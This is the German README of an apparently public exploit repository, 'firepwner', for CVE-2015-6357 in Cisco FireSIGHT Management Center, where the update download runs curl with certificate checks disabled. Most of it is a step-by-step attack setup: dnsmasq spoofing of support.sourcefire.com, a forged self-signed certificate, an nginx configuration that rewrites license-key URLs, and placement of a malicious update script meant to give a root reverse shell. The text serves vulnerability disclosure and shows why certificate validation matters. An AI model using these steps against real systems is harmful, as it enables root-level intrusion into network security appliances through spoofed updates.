mattimustang/firepwnerExploit für CVE-2015-6357: Schwachstelle bei der Zertifikatsvalidierung im Cisco FireSIGHT Management Center
Für sich genommen ist die [Schwachstelle in der Zertifikatsvalidierung des Cisco FireSIGHT Management Center][3] eine mittlere Schwachstelle mit einem CVSS-Wert von 5.1. Diese Schwachstelle ist jedoch ein Beispiel dafür, warum die Validierung von SSL-Zertifikaten so wichtig ist. In diesem Exploit zeige ich, wie die Schwachstelle genutzt werden kann, um privilegierte Remote-Befehlsausführung auf einem Cisco FireSIGHT-System zu erlangen. Der Exploit verkettet die SSL-Validierungsschwachstelle mit dem Software-Update-Prozess auf dem Cisco FireSIGHT-System, um das Zielsystem dazu zu bringen, ein bösartiges Update herunterzuladen und auszuführen und so eine Reverse Shell mit root-Rechten zu erlangen.
Die Cisco FireSIGHT Management Center Appliance wird zur Verwaltung von Cisco FirePOWER Intrusion Prevention Systems (IPS), auch bekannt als Sourcefire IPS, verwendet. FireSIGHT ist für das Herunterladen aktualisierter IPS-Signaturen und deren Installation auf den verwalteten IPS-Geräten verantwortlich.
Das FireSIGHT Management Center erlaubt einem Administrator, ein Update der IPS-Regeln manuell anzustoßen oder die Updates täglich/wöchentlich/monatlich zu planen.
Wenn das FireSIGHT Management Center ein Update durchführt, verwendet es den UNIX-Befehl curl, um den Download von [Sourcefire Support][1] durchzuführen. Beim Aufruf des curl-Befehls wird die Option -k (auch --insecure genannt) übergeben, die curl anweist, keine vom Server präsentierten SSL-Zertifikate zu validieren.
Hier ist die ps-Ausgabe des Servers beim Herunterladen eines Updates:
admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root 8351 0.0 0.0 37396 2708 ? S 02:02 0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh
FireSIGHT-Updates liegen in Form eines von [makeself][2] generierten Shell-Skripts vor, das sowohl UNIX-Bourne-Shell-Befehle als auch die im Update zu übermittelnden Binärdaten enthält. Diese Update-Shell-Skripte werden direkt auf dem FireSIGHT-Server als lokaler Benutzer www ausgeführt.
Ein Angreifer, der in der Lage ist, einen Man-in-the-Middle-Angriff gegen einen FireSIGHT-Server durchzuführen, kann diesen dazu zwingen, sich mit einer gefälschten Version der [Sourcefire Support][1]-Website zu verbinden und ein bösartiges Update-Skript herunterzuladen, das jeden vom Angreifer gewünschten Befehl auf dem FireSIGHT-Server ausführt.
Die SSL-Validierungsschwachstelle ermöglicht dies, wodurch das System das gefälschte SSL-Zertifikat des Angreifers bereitwillig ignoriert, das bösartige Update herunterlädt und ausführt.
Wenn der curl-Befehl das SSL-Zertifikat validieren würde, würde das Herunterladen des bösartigen Skripts fehlschlagen und den FireSIGHT-Server vor dem Angreifer schützen.
Dieser Exploit demonstriert die Gefahr, SSL-Zertifikate nicht zu validieren, indem er die Schwachstelle ausnutzt, um Remote-Befehlsausführung als root-Benutzer zu erlangen.
Das Angriffsszenario sieht vor, dass ein Angreifer die Fähigkeit erlangt hat, den Datenverkehr vom FireSIGHT-Server zur Website https://support.sourcefire.com per Man-in-the-Middle abzufangen. Der einfachste Weg, dies zu demonstrieren, besteht darin, einen „kompromittierten“ DNS-Server einzurichten, der auf Anfragen für die Domain support.sourcefire.com mit der IP-Adresse eines vom Angreifer kontrollierten Webservers antwortet.
In einem realen Angriffsszenario kann der Angreifer beliebig viele Man-in-the-Middle-Techniken einsetzen, um dasselbe zu erreichen. Zum Beispiel:
Dieser Exploit wurde gegen die folgenden FireSIGHT-Virtual-Appliance-Versionen getestet:
In der folgenden PoC wurde dem FireSIGHT-Server die IP-Adresse 192.168.1.99 zugewiesen.
Der angreifende Host lief unter Kali Linux 2.0; das folgende Setup sollte jedoch auf jedem Debian-Linux-basierten Server funktionieren. Die IP-Adresse des Kali-Hosts im folgenden Beispiel ist 192.168.1.1. Der Kali-Host wird verwendet, um sowohl den DNS-Server als auch die gefälschte [Sourcefire Support][1]-Website zu betreiben.
Der Exploit erfordert die Fähigkeit, die DNS-Antwort für support.sourcefire.com zu fälschen. Dazu wird ein dnsmasq-Server betrieben, der diese Fähigkeit bereitstellt und als „kompromittierter“ DNS-Server fungiert.
dnsmasq installieren:
root@kali# apt-get install dnsmasq
dnsmasq konfigurieren:
root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF
Ändern Sie die IP-Adresse in der Zeile address auf die Adresse des Webservers, von dem aus Sie die Updates ausliefern möchten.
dnsmasq starten:
root@kali# service dnsmasq start
Ein Webserver ist erforderlich, um den Exploit an den FireSIGHT-Server auszuliefern, wenn dieser ein Update anfordert.
nginx-Webserver installieren:
root@kali# apt-get install nginx
Ein selbstsigniertes Zertifikat erstellen, um sich als support.sourcefire.com auszugeben:
root@kali# mkdir /etc/nginx/ssl
root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
-out /etc/nginx/ssl/nginx.crt
Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:
Konfigurieren Sie nginx, indem Sie den Inhalt von /etc/nginx/sites-available/default durch Folgendes ersetzen:
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name support.sourcefire.com;
ssl_certificate /etc/nginx/ssl/nginx.crt;
ssl_certificate_key /etc/nginx/ssl/nginx.key;
location / {
try_files $uri $uri/ =404;
}
# rewrite requests that contain the clients license key
location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
}
location /auto-update {
root /var/www/html/firepwner;
}
}
nginx starten:
root@kali# service nginx start
Der FirePWNER-Exploit erfordert, dass zwei Dateien vom Webserver ausgeliefert werden. Die erste Datei ist das Update-Manifest, eine XML-Datei, die eine Liste der verfügbaren Updates, deren Download-Speicherort und MD5-Hashes enthält.
Zunächst müssen Sie einige Verzeichnisse erstellen:
root@kali# mkdir \
/var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}
Kopieren Sie anschließend die Exploit-Dateien hinein:
root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
/var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh